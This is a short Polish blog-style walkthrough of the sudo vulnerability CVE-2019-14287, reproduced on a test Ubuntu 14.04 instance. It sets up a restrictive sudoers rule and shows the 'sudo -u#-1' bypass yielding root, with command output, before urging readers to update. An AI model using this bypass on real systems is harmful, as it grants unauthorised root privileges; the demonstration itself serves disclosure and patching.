CVE 2019-14287 podatność sudo

Dzisiaj chcę wam opisać podatność sudo.

Do tego celu uruchomiłem na AWS testową instancję z Ubuntu Server 14.04 LTS (HVM) . Mamy tam starszą wersję sudo:

$ sudo --version
Sudo version 1.8.9p5
Sudoers policy plugin version 1.8.9p5
Sudoers file grammar version 43
Sudoers I/O plugin version 1.8.9p5

Czyli podatną 🙂

teraz tworzymy usera (ja go nazwałem test )

$ sudo adduser test
Adding user `test' ...
Adding new group `test' (1001) ...
Adding new user `test' (1001) with group `test' ...
Creating home directory `/home/test' ...
Copying files from `/etc/skel' ...
Enter new UNIX password: 
Retype new UNIX password: 
passwd: password updated successfully
Changing the user information for test
Enter the new value, or press ENTER for the default
	Full Name []: 
	Room Number []: 
	Work Phone []: 
	Home Phone []: 
	Other []: 
Is the information correct? [Y/n] 

i w pliku /etc/sudoers dodałem linijkę:

test    ALL=(ALL, !root) /usr/bin/id

Pod linijką:

root	ALL=(ALL:ALL) ALL

przechodzę na usera test poleceniem

su - test

I próbuję wykonać polecenie sudo id:

$ sudo /usr/bin/id 
[sudo] password for test: 
Sorry, user test is not allowed to execute '/usr/bin/id' as root on ip-172-31-41-236.eu-central-1.compute.internal.

Oczywiście nie zezwala mi na to, więc próbuję:

$ sudo -u#-1 /usr/bin/id 
[sudo] password for test: 
uid=0(root) gid=0(root) groups=0(root)

i nagle udało się 🙂 -> udało się uruchomić polecenie id, pomimo tego, że tak naprawdę nie mamy do tego uprawnień… Czyli na serwerze, na którym mamy sudo jest podatność, że ktoś może edytować nie swój plik uruchamiając np. polecenie vim 🙂 . Zostało to już naprawione w nowszych wersjach sudo, dlatego zachęcam was do aktualizacji swoich serwerów